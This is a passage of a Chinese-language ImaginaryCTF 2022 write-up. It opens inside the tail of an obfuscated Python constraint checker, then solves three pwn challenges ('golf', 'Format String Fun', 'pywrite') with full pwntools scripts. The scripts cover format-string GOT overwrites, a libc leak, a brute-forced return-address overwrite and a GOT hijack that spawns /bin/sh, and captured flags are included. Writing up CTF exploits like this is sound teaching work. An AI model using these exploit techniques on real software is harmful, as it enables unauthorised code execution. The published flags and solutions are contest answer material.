67 * a[8] + 13 * a[13] + 16 * a[3] + 17 * a[20] + 44 * a[9]
== 36 * a[22]
+ 38 * a[15]
+ 72 * a[23]
+ 89 * a[19]
+ 43 * a[17]
- 13909,
36 * a[19] + 8 * a[5] + 43 * a[23] + 73 * a[23] + 78 * a[3]
== 31 * a[0]
+ 15 * a[22]
+ 66 * a[12]
+ 48 * a[21]
+ 5 * a[12]
+ 9943,
23 * a[19] + 68 * a[23] + 10 * a[8] + 59 * a[17] + 34 * a[1]
== 20 * a[18]
+ 55 * a[1]
+ 20 * a[17]
+ 32 * a[6]
+ 39 * a[2]
+ 3539,
5 * a[0] + 69 * a[10] + 25 * a[18] + 61 * a[17] + 97 * a[14]
== 64 * a[18]
+ 29 * a[18]
+ 39 * a[10]
+ 93 * a[0]
+ 23 * a[15]
- 5075,
),
lambda *a: (
2 * a[20] + 47 * a[0] + 80 * a[16] + 37 * a[4] + 60 * a[15]
== 29 * a[13]
+ 21 * a[11]
+ 4 * a[23]
+ 83 * a[9]
+ 55 * a[16]
+ 10561,
28 * a[4] + 42 * a[16] + 39 * a[16] + 3 * a[20] + 63 * a[1]
== 11 * a[10]
+ 31 * a[19]
+ 9 * a[19]
+ 30 * a[8]
+ 74 * a[16]
+ 2148,
78 * a[21] + 4 * a[15] + 62 * a[18] + 84 * a[7] + 96 * a[16]
== 24 * a[7]
+ 23 * a[14]
+ 94 * a[3]
+ 46 * a[2]
+ 67 * a[17]
+ 7330,
74 * a[12] + 66 * a[0] + 92 * a[2] + 73 * a[16] + 62 * a[10]
== 18 * a[2]
+ 28 * a[3]
+ 40 * a[17]
+ 60 * a[21]
+ 54 * a[17]
+ 19097,
),
lambda *a: (
49 * a[21] + 62 * a[12] + 39 * a[19] + 6 * a[2] + 33 * a[18]
== 65 * a[14]
+ 40 * a[11]
+ 51 * a[3]
+ 38 * a[14]
+ 61 * a[17]
+ 1787,
72 * a[2] + 41 * a[9] + 17 * a[2] + 94 * a[17] + 64 * a[6]
== 53 * a[8]
+ 69 * a[7]
+ 30 * a[9]
+ 27 * a[3]
+ 17 * a[0]
+ 13621,
76 * a[20] + 52 * a[6] + 42 * a[12] + 32 * a[21] + 15 * a[4]
== 93 * a[16]
+ 45 * a[10]
+ 76 * a[15]
+ 30 * a[8]
+ 97 * a[14]
- 8576,
49 * a[13] + 5 * a[16] + 66 * a[22] + 6 * a[0] + 15 * a[4]
== 58 * a[19]
+ 78 * a[15]
+ 41 * a[2]
+ 3 * a[15]
+ 41 * a[21]
- 14144,
),
lambda *a: (
81 * a[7] + 15 * a[6] + 83 * a[21] + 51 * a[10] + 25 * a[15]
== 78 * a[16]
+ 36 * a[18]
+ 89 * a[8]
+ 74 * a[9]
+ 28 * a[15]
- 5576,
22 * a[12] + 69 * a[7] + 43 * a[14] + 22 * a[20] + 88 * a[20]
== 92 * a[6]
+ 40 * a[10]
+ 13 * a[21]
+ 93 * a[4]
+ 69 * a[8]
- 14574,
5 * a[12] + 55 * a[15] + 38 * a[23] + 79 * a[18] + 73 * a[2]
== 7 * a[6]
+ 68 * a[13]
+ 46 * a[19]
+ 56 * a[23]
+ 84 * a[15]
- 1064,
63 * a[5] + 3 * a[15] + 54 * a[11] + 53 * a[17] + 39 * a[22]
== 90 * a[13]
+ 58 * a[7]
+ 80 * a[14]
+ 43 * a[20]
+ 1 * a[2]
- 9663,
),
lambda *a: (
33 * a[4] + 85 * a[22] + 88 * a[19] + 11 * a[19] + 65 * a[3]
== 2 * a[12]
+ 83 * a[15]
+ 51 * a[3]
+ 53 * a[2]
+ 4 * a[15]
+ 2150,
16 * a[13] + 6 * a[21] + 19 * a[23] + 49 * a[21] + 48 * a[9]
== 96 * a[4]
+ 60 * a[7]
+ 73 * a[11]
+ 79 * a[9]
+ 67 * a[13]
- 17330,
32 * a[22] + 25 * a[14] + 36 * a[12] + 96 * a[11] + 74 * a[7]
== 65 * a[6]
+ 97 * a[11]
+ 22 * a[21]
+ 82 * a[6]
+ 58 * a[4]
- 15919,
58 * a[6] + 91 * a[6] + 48 * a[15] + 60 * a[21] + 84 * a[9]
== 81 * a[14]
+ 3 * a[2]
+ 3 * a[15]
+ 17 * a[13]
+ 28 * a[19]
+ 23080,
),
lambda *a: (
8 * a[11] + 13 * a[23] + 70 * a[20] + 4 * a[14] + 25 * a[16]
== 47 * a[13]
+ 56 * a[9]
+ 14 * a[16]
+ 14 * a[5]
+ 47 * a[19]
- 2509,
56 * a[16] + 35 * a[7] + 71 * a[15] + 82 * a[11] + 43 * a[18]
== 89 * a[9]
+ 5 * a[20]
+ 38 * a[10]
+ 16 * a[17]
+ 16 * a[8]
+ 13008,
60 * a[22] + 16 * a[2] + 79 * a[3] + 5 * a[22] + 99 * a[7]
== 22 * a[20]
+ 75 * a[11]
+ 31 * a[6]
+ 4 * a[15]
+ 53 * a[3]
+ 1557,
22 * a[12] + 36 * a[19] + 84 * a[16] + 6 * a[22] + 44 * a[15]
== 94 * a[18]
+ 46 * a[0]
+ 7 * a[9]
+ 16 * a[13]
+ 69 * a[23]
- 5508,
),
lambda *a: (
15 * a[14] + 37 * a[4] + 89 * a[19] + 1 * a[13] + 40 * a[21]
== 58 * a[7]
+ 84 * a[2]
+ 95 * a[17]
+ 88 * a[7]
+ 58 * a[8]
- 13680,
21 * a[2] + 72 * a[16] + 92 * a[14] + 29 * a[8] + 94 * a[16]
== 60 * a[13]
+ 90 * a[16]
+ 64 * a[17]
+ 66 * a[2]
+ 45 * a[2]
- 7275,
85 * a[4] + 56 * a[21] + 39 * a[20] + 5 * a[9] + 86 * a[21]
== 46 * a[11]
+ 85 * a[2]
+ 79 * a[20]
+ 84 * a[11]
+ 87 * a[10]
- 3608,
98 * a[13] + 9 * a[0] + 94 * a[21] + 81 * a[0] + 92 * a[16]
== 18 * a[16]
+ 30 * a[0]
+ 18 * a[9]
+ 17 * a[17]
+ 9 * a[18]
+ 32955,
),
lambda *a: (
99 * a[13] + 17 * a[8] + 43 * a[22] + 35 * a[15] + 63 * a[11]
== 75 * a[15]
+ 65 * a[11]
+ 44 * a[17]
+ 68 * a[14]
+ 71 * a[6]
- 6000,
96 * a[15] + 77 * a[19] + 70 * a[22] + 36 * a[5] + 40 * a[12]
== 92 * a[8]
+ 78 * a[21]
+ 18 * a[13]
+ 27 * a[19]
+ 64 * a[19]
- 2898,
64 * a[9] + 94 * a[17] + 20 * a[16] + 57 * a[6] + 76 * a[5]
== 57 * a[2]
+ 66 * a[21]
+ 82 * a[0]
+ 95 * a[15]
+ 70 * a[19]
- 16423,
35 * a[1] + 43 * a[22] + 7 * a[21] + 88 * a[9] + 72 * a[11]
== 79 * a[6]
+ 66 * a[17]
+ 43 * a[1]
+ 80 * a[6]
+ 13 * a[6]
- 16177,
),
lambda *a: (
15 * a[14] + 72 * a[0] + 60 * a[2] + 66 * a[17] + 57 * a[14]
== 43 * a[5] + 79 * a[2] + 3 * a[16] + 17 * a[1] + 64 * a[6] + 4715,
46 * a[8] + 93 * a[3] + 59 * a[20] + 15 * a[14] + 84 * a[6]
== 49 * a[18]
+ 46 * a[14]
+ 41 * a[6]
+ 37 * a[1]
+ 98 * a[13]
+ 3571,
50 * a[20] + 62 * a[5] + 24 * a[1] + 91 * a[23] + 59 * a[16]
== 52 * a[20]
+ 37 * a[5]
+ 60 * a[18]
+ 59 * a[18]
+ 25 * a[11]
+ 6503,
19 * a[3] + 96 * a[19] + 38 * a[22] + 34 * a[5] + 27 * a[14]
== 61 * a[21]
+ 74 * a[10]
+ 1 * a[10]
+ 86 * a[17]
+ 62 * a[21]
- 14623,
),
lambda *a: (
94 * a[21] + 46 * a[8] + 21 * a[14] + 46 * a[0] + 49 * a[17]
== 81 * a[8] + 97 * a[8] + 82 * a[4] + 4 * a[6] + 67 * a[8] - 10410,
65 * a[1] + 26 * a[7] + 14 * a[23] + 51 * a[22] + 20 * a[4]
== 19 * a[18]
+ 87 * a[16]
+ 27 * a[21]
+ 57 * a[10]
+ 88 * a[22]
- 10505,
83 * a[17] + 89 * a[21] + 57 * a[21] + 19 * a[19] + 42 * a[3]
== 12 * a[8] + 7 * a[0] + 83 * a[9] + 8 * a[10] + 79 * a[5] + 20536,
30 * a[19] + 67 * a[17] + 10 * a[1] + 13 * a[2] + 47 * a[1]
== 87 * a[10]
+ 95 * a[11]
+ 9 * a[15]
+ 41 * a[3]
+ 80 * a[16]
- 11542,
),
lambda *a: (
98 * a[4] + 29 * a[16] + 91 * a[16] + 25 * a[13] + 94 * a[20]
== 41 * a[17]
+ 63 * a[3]
+ 61 * a[7]
+ 28 * a[10]
+ 89 * a[7]
+ 17506,
28 * a[8] + 90 * a[16] + 12 * a[20] + 65 * a[6] + 69 * a[5]
== 87 * a[11]
+ 33 * a[4]
+ 20 * a[6]
+ 10 * a[15]
+ 23 * a[7]
+ 11861,
52 * a[11] + 99 * a[3] + 62 * a[17] + 69 * a[12] + 36 * a[11]
== 71 * a[0]
+ 25 * a[15]
+ 49 * a[6]
+ 56 * a[8]
+ 87 * a[10]
- 3286,
95 * a[0] + 24 * a[2] + 11 * a[13] + 40 * a[3] + 85 * a[18]
== 37 * a[9]
+ 49 * a[3]
+ 15 * a[2]
+ 51 * a[11]
+ 71 * a[6]
+ 8832,
),
lambda *a: (
22 * a[7] + 92 * a[13] + 66 * a[21] + 16 * a[3] + 89 * a[17]
== 45 * a[22]
+ 26 * a[17]
+ 88 * a[18]
+ 78 * a[22]
+ 29 * a[11]
+ 11656,
53 * a[3] + 77 * a[18] + 61 * a[23] + 81 * a[16] + 30 * a[15]
== 70 * a[16]
+ 89 * a[22]
+ 4 * a[13]
+ 23 * a[15]
+ 94 * a[18]
+ 9747,
90 * a[20] + 70 * a[10] + 53 * a[0] + 26 * a[5] + 29 * a[20]
== 73 * a[6]
+ 21 * a[21]
+ 6 * a[23]
+ 88 * a[17]
+ 43 * a[1]
+ 3403,
62 * a[3] + 59 * a[10] + 88 * a[0] + 77 * a[9] + 37 * a[5]
== 88 * a[12]
+ 81 * a[9]
+ 49 * a[17]
+ 81 * a[16]
+ 28 * a[2]
- 2875,
),
lambda *a: (
22 * a[7] + 44 * a[2] + 18 * a[6] + 73 * a[1] + 51 * a[4]
== 40 * a[22]
+ 97 * a[13]
+ 27 * a[4]
+ 70 * a[23]
+ 66 * a[15]
- 10554,
18 * a[23] + 76 * a[20] + 94 * a[18] + 1 * a[0] + 87 * a[5]
== 90 * a[17]
+ 20 * a[13]
+ 86 * a[2]
+ 28 * a[12]
+ 89 * a[0]
- 7968,
14 * a[17] + 38 * a[20] + 4 * a[2] + 63 * a[22] + 54 * a[6]
== 48 * a[11]
+ 69 * a[6]
+ 60 * a[23]
+ 35 * a[6]
+ 87 * a[7]
- 11706,
68 * a[18] + 78 * a[7] + 31 * a[10] + 45 * a[9] + 73 * a[13]
== 23 * a[23] + 14 * a[7] + 91 * a[12] + 99 * a[4] + 8 * a[8] - 445,
),
lambda *a: (
50 * a[17] + 66 * a[20] + 19 * a[20] + 56 * a[5] + 22 * a[7]
== 77 * a[2]
+ 76 * a[18]
+ 79 * a[11]
+ 87 * a[0]
+ 65 * a[13]
- 19932,
90 * a[19] + 11 * a[17] + 61 * a[21] + 27 * a[8] + 43 * a[19]
== 11 * a[0]
+ 41 * a[19]
+ 4 * a[5]
+ 57 * a[3]
+ 54 * a[15]
+ 7163,
24 * a[2] + 7 * a[8] + 81 * a[23] + 42 * a[6] + 30 * a[20]
== 35 * a[10]
+ 4 * a[14]
+ 87 * a[18]
+ 88 * a[5]
+ 46 * a[10]
- 1649,
27 * a[5] + 34 * a[12] + 16 * a[0] + 39 * a[7] + 89 * a[10]
== 58 * a[17]
+ 22 * a[20]
+ 6 * a[14]
+ 20 * a[4]
+ 1 * a[14]
+ 7194,
),
lambda *a: (
39 * a[5] + 95 * a[16] + 29 * a[12] + 35 * a[20] + 2 * a[23]
== 52 * a[11]
+ 36 * a[5]
+ 72 * a[20]
+ 47 * a[10]
+ 27 * a[20]
- 837,
37 * a[13] + 78 * a[1] + 79 * a[15] + 73 * a[22] + 96 * a[6]
== 51 * a[18]
+ 71 * a[20]
+ 79 * a[2]
+ 60 * a[8]
+ 32 * a[14]
+ 3156,
95 * a[17] + 8 * a[17] + 35 * a[8] + 22 * a[7] + 89 * a[15]
== 26 * a[20]
+ 50 * a[2]
+ 67 * a[1]
+ 70 * a[10]
+ 30 * a[14]
+ 1114,
87 * a[7] + 56 * a[10] + 41 * a[7] + 22 * a[3] + 44 * a[3]
== 81 * a[6]
+ 79 * a[12]
+ 40 * a[22]
+ 37 * a[15]
+ 66 * a[12]
- 10364,
),
)
),
# g((input(t(1044266528)).encode(), 15553)),
g((inp, 15553)),
g[15623],
][(t(26122)[1] in g()[11618]) + 1](
(t(11058375319408232550098454217411120665270488946811366757), t(439956237345))
),
[
g[14349](g()[15726](*g()[10963].pop()(*g()[(3).__class__(g[13890][138])])))
for (i) in iter(g()[10987].__len__, 0)
],
g[10839](t(7955827)),
]

Pwn

golf

ida 解開長這樣:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
char s[264]; // [rsp+0h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+108h] [rbp-8h]

v4 = __readfsqword(0x28u);
fgets(s, 256, stdin);
if ( strlen(s) <= 10 )
printf(s);
exit(0);
}

所以有個十字元以內的 format string exploit 可以打,因為沒有 relro 所以目標很明顯是需要把 got 中的 exit 改掉。然而一般的改法大概都是像這樣: %<num>c%<idx>$n,其中 num 是你要寫入的值,而 idx 是 pointer 在 stack 上的 index。

以這題來說因為 exit 還沒被呼叫過,原本是大概 0x40???? 的狀況,而我想把它覆寫的目標是 main,也是在 0x40????,因此用 $hn 去 partial overwrite 剛剛好,所以我想到最精簡的 payload 的 %4635c%8$hn,長度為 11 所以沒辦法通過那個檢查。

後來去查一下資料就找到了這篇: Midnight Sun CTF 2020 Quals - pwn4,從裡面知道 printf 還支援一個 %*<idx1>$c%<idx2>$n 的用法,就是從 stack 上第 idx1 的地方拿 int 大小的數當作前面那個 num,然後寫入到 stack 上 idx2 上面的 address。

所以由此把它改一改成 %*9$c%8$hn,長度剛剛好為 10,可以通過檢查,然後在後面塞 address 和指定的數字就可以了。大概像這樣:

1
2
3
4
5
fmt = b"%*9$c%8$hn"
assert len(fmt) <= 10
fmt = fmt.ljust(16, b"\x00")
io.send(fmt + p64(elf.got["exit"]) + p64(0x121B) + b"\n")
io.recvn(0x121B)

剩下就是從 got leak libc 出來,然後用 libc.rip 查一下 remote 的 libc 版本後 patch local binary。剩下拿 shell 的部分我是利用題目本身還有個 _ 函數:

1
2
3
4
5
6
int _()
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
return setvbuf(stderr, 0LL, 2, 0LL);
}

就把 setvbufsystem,然後 stderr 寫為 libc 中的 /bin/sh,之後再 partial overwrite got 中的 exit 指向的 main 到 _,這是因為它們同為 0x40???? 比較好蓋。

另外這邊用 stderr 的原因是因為做這些事要多次寫入,把 stdin 和 stdout 弄壞就慘了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
context.log_level = "debug"

# libc6_2.31-0ubuntu9.9_amd64

elf = ELF("./golf")
libc = ELF("./libc6_2.31-0ubuntu9.9_amd64.so")
# io = gdb.debug('./golf', 'b *(main+93)\nc')
# io = gdb.debug('./golf', 'b *(main+103)\nc')
# io = process('./golf')
io = remote("golf.chal.imaginaryctf.org", 1337)
io.recvuntil(b"== proof-of-work: disabled ==\n")

# partial overwrite exit@got to main (0x40121b)
fmt = b"%*9$c%8$hn"
assert len(fmt) <= 10
fmt = fmt.ljust(16, b"\x00")
io.send(fmt + p64(elf.got["exit"]) + p64(0x121B) + b"\n")
io.recvn(0x121B)

# leak libc
fmt = b"%8$s"
assert len(fmt) <= 10
fmt = fmt.ljust(16, b"\x00")
io.send(fmt + p64(elf.got["setvbuf"]) + b"\n")
setvbuf = int.from_bytes(io.recvn(6), "little")
print(f"{setvbuf = :#x}")
libc_base = setvbuf - libc.sym["setvbuf"]
print(f"{libc_base = :#x}")
libc.address = libc_base


def write(addr, val):
for i in range(4):
if not val:
continue
fmt = b"%*9$c%8$hn"
assert len(fmt) <= 10
fmt = fmt.ljust(16, b"\x00")
io.send(fmt + p64(addr + i * 2) + p64(val & 0xFFFF) + b"\n")
io.recvn(val & 0xFFFF)
val >>= 16


write(elf.got["setvbuf"], libc.sym["system"])
write(elf.got["stderr"], next(libc.search(b"/bin/sh\0")))

# # partial overwrite exit@got to _ (0x4011b6)
fmt = b"%*9$c%8$hn"
assert len(fmt) <= 10
fmt = fmt.ljust(16, b"\x00")
io.send(fmt + p64(elf.got["exit"]) + p64(0x11B6) + b"\n")
io.recvn(0x11B6)

io.interactive()
# ictf{useless_f0rmat_string_quirks_f0r_days_9b5d191f}

Format String Fun

ida 解開長這樣:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("Welcome to Format Fun!");
puts("I'll print one, AND ONLY ONE, string for you.");
puts("Enter your string below:");
fgets(buf, 400, stdin);
printf(buf);
return 0;
}

注意那個 buf 是位於 bss 而非 stack 上,所以沒辦法直接寫 address。這個情況下常見的做法是利用 stack 上有些多重 pointer 可以利用。例如下面的 0x00007fffffffe3a8 就很好用。

1
2
3
4
5
6
7
0x00007fffffffe2b8│+0x0008: 0x00007ffff7dfd0b3  →  <__libc_start_main+243> mov edi, eax
0x00007fffffffe2c0│+0x0010: 0x0000000000000071 ("q"?)
0x00007fffffffe2c8│+0x0018: 0x00007fffffffe3a80x00007fffffffe6c0"/home/maple3142/workspace/imaginaryCTF/2022-CTF/Fo[...]"
0x00007fffffffe2d0│+0x0020: 0x00000001f7fbe618
0x00007fffffffe2d8│+0x0028: 0x00000000004011b6 → <main+0> endbr64
0x00007fffffffe2e0│+0x0030: 0x0000000000401270 → <__libc_csu_init+0> endbr64
0x00007fffffffe2e8│+0x0038: 0xd00cc1b9aa747cc2

這個是 patch 過的 elf 下斷點在 call pritnf 前地方的 stack 狀態

總之可以先對 %8$n 寫入你真正想寫的 address,然後再算 對 %36$n 寫入真正想要的值。

36 是來自 (0x00007fffffffe3a8-0x00007fffffffe2b8)//8+6

不過要注意的是如果使用了 positional argument (%8$n 之類的) 去寫入 address 會導致失敗,這是因為 printf 內部如果遇到了 positional argument 就會改用 printf_positional,而它會把 stack 上的東西先 cache 起來,導致 %36$n 的部分不會更新。要繞開的方法就是不要使用 positional argument,而是改用很單純的 %c%c%c%c%c%c%c%n

詳情可以參考這篇 writeup: TokyoWesterns CTF 6th 2020 - Blind Shot

我會知道這個是因為之前 2021 09 的 Imaginary CTF 也有類似的題目出現: Format String Fun (對,名字一模一樣==)

總之這樣就能達成寫任意位置了,剩下就是找該寫誰。因為這題是 full relro 所以不能改 got,要控制的話就只能寫 stack 了,但是 stack address 的 low 2 bytes 都不固定,最多只知道最後的 nibble 是 0 還是 8 而已,這部分用 brute force 的話機率是 1/4096,在 ctf 中還算勉強可行。

假設要 brute force 的話,那麼寫 printf 的 return address 是最方便的,因為它 return 到 main,這樣 partial overwrite 到 win 就只需要一個 %hn 即可。所以就能生出這個 payload: %c%c%c%c%c%c%c%c%hn%1$78c%37$hhn。它只要該 address 是 0008 結尾的就能成功,所以之後再寫個 multi thread 的腳本去爆就能搞定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import os

context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'

# elf = ELF('./fmt_fun')
# libc = ELF('./libc.so.6')

# io = gdb.debug('./fmt_fun', 'b *(main+143)\nc', env={'LD_PRELOAD': './libc.so.6'})
# io = gdb.debug('./fmt_fun', 'b *(main+143)\nc')
# io.sendline(b'%c%c%c%c%c%c%c%c%hn%1$78c%37$hhn')
# io.interactive()

def brute():
context.log_level = 'error'
while True:
# io = process('./fmt_fun', env={'LD_PRELOAD': './libc.so.6'})
io = remote("fmt-fun.chal.imaginaryctf.org", 1337)
io.sendline(b'%c%c%c%c%c%c%c%c%hn%1$78c%37$hhn')
x = io.recvall()
print(x)
if b'ictf' in x:
os._exit(0)
io.close()

from threading import Thread

for _ in range(4):
Thread(target=brute).start()
# ictf{n0t_imp0ssibl3?_1b06af92}

其實這題還有個進階叫 Format String Foolery,它和這題幾乎一樣,但是要求使用一個 payload 連續成功 10 次才能拿到 flag,就代表不能使用這種 brute force 的方法。作者是說:

lots of people did it with brute, but you could edit link_map.l_addr to cause miscalulation of fini_array location

大概讓我想到了 ret2dlresolve 的一些東西,但那個我真的不太熟,所以還不是很能理解。可能之後有空再回來研究這個技術。

prwrite

這題有提供一個 cpython binary 還有 libc,然後 server 會執行這個腳本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from ctypes import c_ulong

def read(where):
return c_ulong.from_address(where).value

def write(what, where):
c_ulong.from_address(where).value = what

menu = '''|| PYWRITE ||
1: read
2: write
> '''

while True:
choice = int(input(menu))
if choice == 1:
where = int(input("where? "))
print(read(where))
if choice == 2:
what = int(input("what? "))
where = int(input("where? "))
write(what, where)
if choice == 3:
what = input("what????? ")
a = open(what)
print(a)

checksec 一下可知這題的 python no pie 還有 partial relro,因此只要能蓋掉 got 中類似 open 的函數應該就有機會拿 shell。測試了一下可以知道 python open 最後會 call 到 open64,因此 leak libc 出來後把 open64 寫成 system,然後選項 3 輸入 /bin/sh 就有 shell 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.log_level = 'debug'

elf = ELF('./python3')
libc = ELF('./libc.so.6')
print(elf.got['open64'])

# io = process(['./python3', 'vuln.py'])
# io = gdb.debug(['./python3', 'vuln.py'], 'b system\nc')
io = remote("pywrite.chal.imaginaryctf.org", 1337)
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'where? ', str(elf.got['open64']).encode())
libc_base = int(io.recvline()) - libc.sym['open64']
print(f'{libc_base = :#x}')
libc.address = libc_base
system = elf.sym['system']
print(f'{system = :#x}')

io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'what? ', str(system).encode())
io.sendlineafter(b'where? ', str(elf.got['open64']).encode())

io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'what????? ', b'/bin/sh')
io.interactive()
# ictf{sn3aky_snAk3s_1b99a1f0}

對,這題真的就這麼簡單,反而讓我不理解為什麼這是第四難的 pwn... (尤其是這為什麼比 golf 難)